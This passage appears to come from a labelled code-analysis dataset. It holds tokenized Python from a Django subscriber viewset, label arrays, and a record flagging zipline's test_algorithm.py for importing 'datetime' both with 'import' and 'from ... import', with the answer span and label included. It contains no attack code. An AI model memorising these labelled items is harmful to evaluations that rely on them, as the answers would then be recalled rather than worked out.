"\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "features_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ser_", "=_", "Feature", "Serializer_", "(_", "subscriber_", "._", "features_", ",_", "data_", "=_", "request_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ser_", "._", "is", "\\u", "valid_", "(_", "raise", "\\u", "exception_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "update", "\\u", "features_", "(_", "ser_", "._", "validat", "ed", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "Feature", "Serializer_", "(_", "subscriber_", "._", "features_", ")_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "feature_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ",_", "feature_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "{_", "feature_", ":_", "Feature", "Serializer_", "(_", "subscriber_", "._", "features_", ")_", "._", "data_", "[_", "feature_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "feature_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ",_", "feature_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "[_", "feature_", "]_", "!=_", "request_", "._", "data_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "serializers_", "._", "Validat", "ion", "Error_", "(_", "\"", "feature", " ", "%", "s", " ", "doe", "s", " ", "not", " ", "match", " ", "keys", " ", "in", " ", "request", " ", "body", " ", "(%", "s", ")\"_", "%_", "(_", "feature_", ",_", "\",\"_", "._", "join_", "(_", "request_", "._", "data_", "._", "keys_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ser_", "=_", "Feature", "Serializer_", "(_", "subscriber_", "._", "features_", ",_", "data_", "=_", "request_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ser_", "._", "is", "\\u", "valid_", "(_", "raise", "\\u", "exception_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "update", "\\u", "features_", "(_", "ser_", "._", "validat", "ed", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "{_", "feature_", ":_", "Feature", "Serializer_", "(_", "subscriber_", "._", "features_", ")_", "._", "data_", "[_", "feature_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "identities", "_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "Ident", "it", "y", "Serializer_", "(_", "subscriber_", "._", "identity_", ")_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "identities", "_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ser_", "=_", "Ident", "it", "y", "Serializer_", "(_", "subscriber_", "._", "identity_", ",_", "data_", "=_", "request_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ser_", "._", "is", "\\u", "valid_", "(_", "raise", "\\u", "exception_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "update", "\\u", "identity_", "(_", "ser_", "._", "validat", "ed", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "Ident", "it", "y", "Serializer_", "(_", "subscriber_", "._", "identity_", ")_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "identity_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ",_", "identity_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "{_", "identity_", ":_", "Ident", "it", "y", "Serializer_", "(_", "subscriber_", "._", "identity_", ")_", "._", "data_", "[_", "identity_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "identity_", "(_", "self_", ",_", "request_", ",_", "pk_", "=_", "None_", ",_", "identity_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subscriber_", "=_", "self_", "._", "get", "\\u", "object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "[_", "identity_", "]_", "!=_", "request_", "._", "data_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "serializers_", "._", "Validat", "ion", "Error_", "(_", "\"", "identi", "ty", " ", "%", "s", " ", "doe", "s", " ", "not", " ", "match", " ", "keys", " ", "in", " ", "request", " ", "body", " ", "(%", "s", ")\"_", "%_", "(_", "identity_", ",_", "\",\"_", "._", "join_", "(_", "request_", "._", "data_", "._", "keys_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ser_", "=_", "Ident", "it", "y", "Serializer_", "(_", "subscriber_", "._", "identity_", ",_", "data_", "=_", "request_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ser_", "._", "is", "\\u", "valid_", "(_", "raise", "\\u", "exception_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "update", "\\u", "identity_", "(_", "ser_", "._", "validat", "ed", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscriber_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "{_", "identity_", ":_", "Ident", "it", "y", "Serializer_", "(_", "subscriber_", "._", "identity_", ")_", "._", "data_", "[_", "identity_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "account", "\\u", "num", "\\u", "detail_", "(_", "self_", ",_", "pk_", "=_", "None_", ",_", "account", "\\u", "num_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object\\u", "list_", "=_", "Cor", "d", "Subscrib", "er", "New_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "list_", "=_", "[_", "x_", "for_", "x_", "in_", "object\\u", "list_", "if_", "x_", "._", "service", "\\u", "specific", "\\u", "id_", "==_", "account", "\\u", "num_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "object\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Response_", "(_", "\"", "Fail", "ed", " ", "to", " ", "find", " ", "account", "\\u", "num", " ", "%", "s", "\"_", "%_", "account", "\\u", "num_", ",_", "status_", "=_", "status_", "._", "HTTP", "\\u", "404", "\\u", "NOT", "\\u", "FOUND_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Response_", "(_", "object\\u", "list_", "[_", "0_", "]_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ssid", "list_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object\\u", "list_", "=_", "Cor", "d", "Subscrib", "er", "New_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ssid", "map_", "=_", "[_", "{_", "\"", "service", "\\u", "specific", "\\u", "id", "\"_", ":_", "x_", "._", "service", "\\u", "specific", "\\u", "id_", ",_", "\"", "subscribe", "r", "\\u", "id", "\"_", ":_", "x_", "._", "id_", "}_", "for_", "x_", "in_", "object\\u", "list_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Response_", "(_", "{_", "\"", "ssid", "map", "\"_", ":_", "ssid", "map_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "d", "Subscrib", "er", "View", "Set_", "(_", "XO", "SV", "iew", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ssid", "detail_", "(_", "self_", ",_", "pk_", "=_", "None_", ",_", "ssid_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object\\u", "list_", "=_", "Cor", "d", "Subscrib", "er", "New_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ssid", "map_", "=_", "[_", "{_", "\"", "service", "\\u", "specific", "\\u", "id", "\"_", ":_", "x_", "._", "service", "\\u", "specific", "\\u", "id_", ",_", "\"", "subscribe", "r", "\\u", "id", "\"_", ":_", "x_", "._", "id_", "}_", "for_", "x_", "in_", "object\\u", "list_", "if_", "str_", "(_", "x_", "._", "service", "\\u", "specific", "\\u", "id_", ")_", "==_", "str_", "(_", "ssid_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "ssid", "map_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "XO", "SN", "ot", "Found_", "(_", "\"", "did", "n", "'", "t", " ", "find", " ", "ssid", " ", "%", "s", "\"_", "%_", "str_", "(_", "ssid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Response_", "(_", "ssid", "map_", "[_", "0_", "]_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported with 'import' and 'import from'
quantopian/zipline/tests/test_algorithm.py
[ { "content": "#\n# Copyright 2014 Quantopian, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom collections import namedtuple\nimport datetime\nfrom datetime import timedelta\nfrom textwrap import dedent\nfrom unittest import TestCase, skip\n\nimport logbook\nfrom logbook import TestHandler, WARNING\nfrom mock import MagicMock\nfrom nose_parameterized import parameterized\nfrom six import iteritems, itervalues\nfrom six.moves import range\nfrom testfixtures import TempDirectory\n\nimport numpy as np\nimport pandas as pd\nimport pytz\nfrom toolz import merge\n\nfrom zipline import TradingAlgorithm\nfrom zipline.api import FixedSlippage\nfrom zipline.assets import Equity, Future\nfrom zipline.assets.synthetic import (\n make_jagged_equity_info,\n make_simple_equity_info,\n)\nfrom zipline.data.data_portal import DataPortal\nfrom zipline.data.minute_bars import (\n BcolzMinuteBarReader,\n BcolzMinuteBarWriter,\n US_EQUITIES_MINUTES_PER_DAY,\n)\nfrom zipline.data.us_equity_pricing import (\n BcolzDailyBarReader,\n BcolzDailyBarWriter,\n)\nfrom zipline.errors import (\n OrderDuringInitialize,\n RegisterTradingControlPostInit,\n TradingControlViolation,\n AccountControlViolation,\n SymbolNotFound,\n RootSymbolNotFound,\n UnsupportedDatetimeFormat,\n CannotOrderDelistedAsset,\n SetCancelPolicyPostInit,\n UnsupportedCancelPolicy,\n OrderInBeforeTradingStart)\nfrom zipline.api import (\n order,\n order_value,\n order_percent,\n order_target,\n order_target_value,\n order_target_percent\n)\n\nfrom zipline.finance.commission import PerShare\nfrom zipline.finance.execution import LimitOrder\nfrom zipline.finance.order import ORDER_STATUS\nfrom zipline.finance.trading import TradingEnvironment, SimulationParameters\nfrom zipline.sources import DataPanelSource\nfrom zipline.testing import (\n FakeDataPortal,\n create_daily_df_for_asset,\n create_data_portal,\n create_data_portal_from_trade_history,\n create_minute_df_for_asset,\n empty_trading_env,\n make_test_handler,\n make_trade_data_for_asset_info,\n parameter_space,\n str_to_seconds,\n tmp_trading_env,\n to_utc,\n trades_by_sid_to_dfs,\n)\nfrom zipline.testing.fixtures import (\n WithDataPortal,\n WithLogger,\n WithSimParams,\n WithTradingEnvironment,\n WithTmpDir,\n ZiplineTestCase,\n)\nfrom zipline.test_algorithms import (\n access_account_in_init,\n access_portfolio_in_init,\n AmbitiousStopLimitAlgorithm,\n EmptyPositionsAlgorithm,\n InvalidOrderAlgorithm,\n RecordAlgorithm,\n FutureFlipAlgo,\n TestOrderAlgorithm,\n TestOrderPercentAlgorithm,\n TestOrderStyleForwardingAlgorithm,\n TestOrderValueAlgorithm,\n TestRegisterTransformAlgorithm,\n TestTargetAlgorithm,\n TestTargetPercentAlgorithm,\n TestTargetValueAlgorithm,\n SetLongOnlyAlgorithm,\n SetAssetDateBoundsAlgorithm,\n SetMaxPositionSizeAlgorithm,\n SetMaxOrderCountAlgorithm,\n SetMaxOrderSizeAlgorithm,\n SetDoNotOrderListAlgorithm,\n SetMaxLeverageAlgorithm,\n api_algo,\n api_get_environment_algo,\n api_symbol_algo,\n call_all_order_methods,\n call_order_in_init,\n handle_data_api,\n handle_data_noop,\n initialize_api,\n initialize_noop,\n noop_algo,\n record_float_magic,\n record_variables,\n call_with_kwargs,\n call_without_kwargs,\n call_with_bad_kwargs_current,\n call_with_bad_kwargs_history,\n bad_type_history_assets,\n bad_type_history_fields,\n bad_type_history_bar_count,\n bad_type_history_frequency,\n bad_type_history_assets_kwarg_list,\n bad_type_current_assets,\n bad_type_current_fields,\n bad_type_can_trade_assets,\n bad_type_is_stale_assets,\n bad_type_history_assets_kwarg,\n bad_type_history_fields_kwarg,\n bad_type_history_bar_count_kwarg,\n bad_type_history_frequency_kwarg,\n bad_type_current_assets_kwarg,\n bad_type_current_fields_kwarg,\n call_with_bad_kwargs_get_open_orders,\n call_with_good_kwargs_get_open_orders,\n call_with_no_kwargs_get_open_orders,\n empty_positions,\n set_benchmark_algo,\n no_handle_data,\n)\nfrom zipline.utils.api_support import ZiplineAPI, set_algo_instance\nfrom zipline.utils.context_tricks import CallbackManager\nfrom zipline.utils.control_flow import nullctx\nimport zipline.utils.events\nfrom zipline.utils.events import DateRuleFactory, TimeRuleFactory, Always\nimport zipline.utils.factory as factory\nfrom zipline.utils.tradingcalendar import trading_day, trading_days\n\n# Because test cases appear to reuse some resources.\n\n\n_multiprocess_can_split_ = False\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# FIXME re-implement this testcase in q2\n# class TestClosePosAlgo(TestCase):\n# def setUp(self):\n# self.env = TradingEnvironment()\n# self.days = self.env.trading_days[:5]\n# self.panel = pd.Panel({1: pd.DataFrame({\n# 'price': [1, 1, 2, 4, 8], 'volume': [1e9, 1e9, 1e9, 1e9, 0],\n# 'type': [DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.CLOSE_POSITION]},\n# index=self.days)\n# })\n# self.no_close_panel = pd.Panel({1: pd.DataFrame({\n# 'price': [1, 1, 2, 4, 8], 'volume': [1e9, 1e9, 1e9, 1e9, 1e9],\n# 'type': [DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE,\n# DATASOURCE_TYPE.TRADE]},\n# index=self.days)\n# })\n#\n# def test_close_position_equity(self):\n# metadata = {1: {'symbol': 'TEST',\n# 'end_date': self.days[4]}}\n# self.env.write_data(equities_data=metadata)\n# algo = TestAlgorithm(sid=1, amount=1, order_count=1,\n# commission=PerShare(0),\n# env=self.env)\n# data = DataPanelSource(self.panel)\n#\n# # Check results\n# expected_positions = [0, 1, 1, 1, 0]\n# expected_pnl = [0, 0, 1, 2, 4]\n# results = algo.run(data)\n# self.check_algo_positions(results, expected_positions)\n# self.check_algo_pnl(results, expected_pnl)\n#\n# def test_close_position_future(self):\n# metadata = {1: {'symbol': 'TEST'}}\n# self.env.write_data(futures_data=metadata)\n# algo = TestAlgorithm(sid=1, amount=1, order_count=1,\n# commission=PerShare(0),\n# env=self.env)\n# data = DataPanelSource(self.panel)\n#\n# # Check results\n# expected_positions = [0, 1, 1, 1, 0]\n# expected_pnl = [0, 0, 1, 2, 4]\n# results = algo.run(data)\n# self.check_algo_pnl(results, expected_pnl)\n# self.check_algo_positions(results, expected_positions)\n#\n# def test_auto_close_future(self):\n# metadata = {1: {'symbol': 'TEST',\n# 'auto_close_date': self.env.trading_days[4]}}\n# self.env.write_data(futures_data=metadata)\n# algo = TestAlgorithm(sid=1, amount=1, order_count=1,\n# commission=PerShare(0),\n# env=self.env)\n# data = DataPanelSource(self.no_close_panel)\n#\n# # Check results\n# results = algo.run(data)\n#\n# expected_positions = [0, 1, 1, 1, 0]\n# self.check_algo_positions(results, expected_positions)\n#\n# expected_pnl = [0, 0, 1, 2, 0]\n# self.check_algo_pnl(results, expected_pnl)\n#\n# def check_algo_pnl(self, results, expected_pnl):\n# np.testing.assert_array_almost_equal(results.pnl, expected_pnl)\n#\n# def check_algo_positions(self, results, expected_positions):\n# for i, amount in enumerate(results.positions):\n# if amount:\n# actual_position = amount[0]['amount']\n# else:\n# actual_position = 0\n#\n# self.assertEqual(\n# actual_position, expected_positions[i],\n# \"position for day={0} not equal, actual={1}, expected={2}\".\n# format(i, actual_position, expected_positions[i]))\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import datetime", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2014", " ", "Quant", "opi", "an", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "from_", "collections_", "import_", "namedtuple_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "timedelta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "textwrap_", "import_", "dedent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "unittest_", "import_", "Test", "Case_", ",_", "skip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logbo", "ok_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "logbo", "ok_", "import_", "Test", "Handler_", ",_", "WARNING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mock_", "import_", "Mag", "ic", "Mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "nose", "\\u", "parameterized_", "import_", "parameterized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "six_", "import_", "iteritems_", ",_", "itervalues_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "six_", "._", "moves_", "import_", "range_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "testf", "ix", "tures", "_", "import_", "Temp", "Directory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pytz_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tool", "z_", "import_", "merge_", 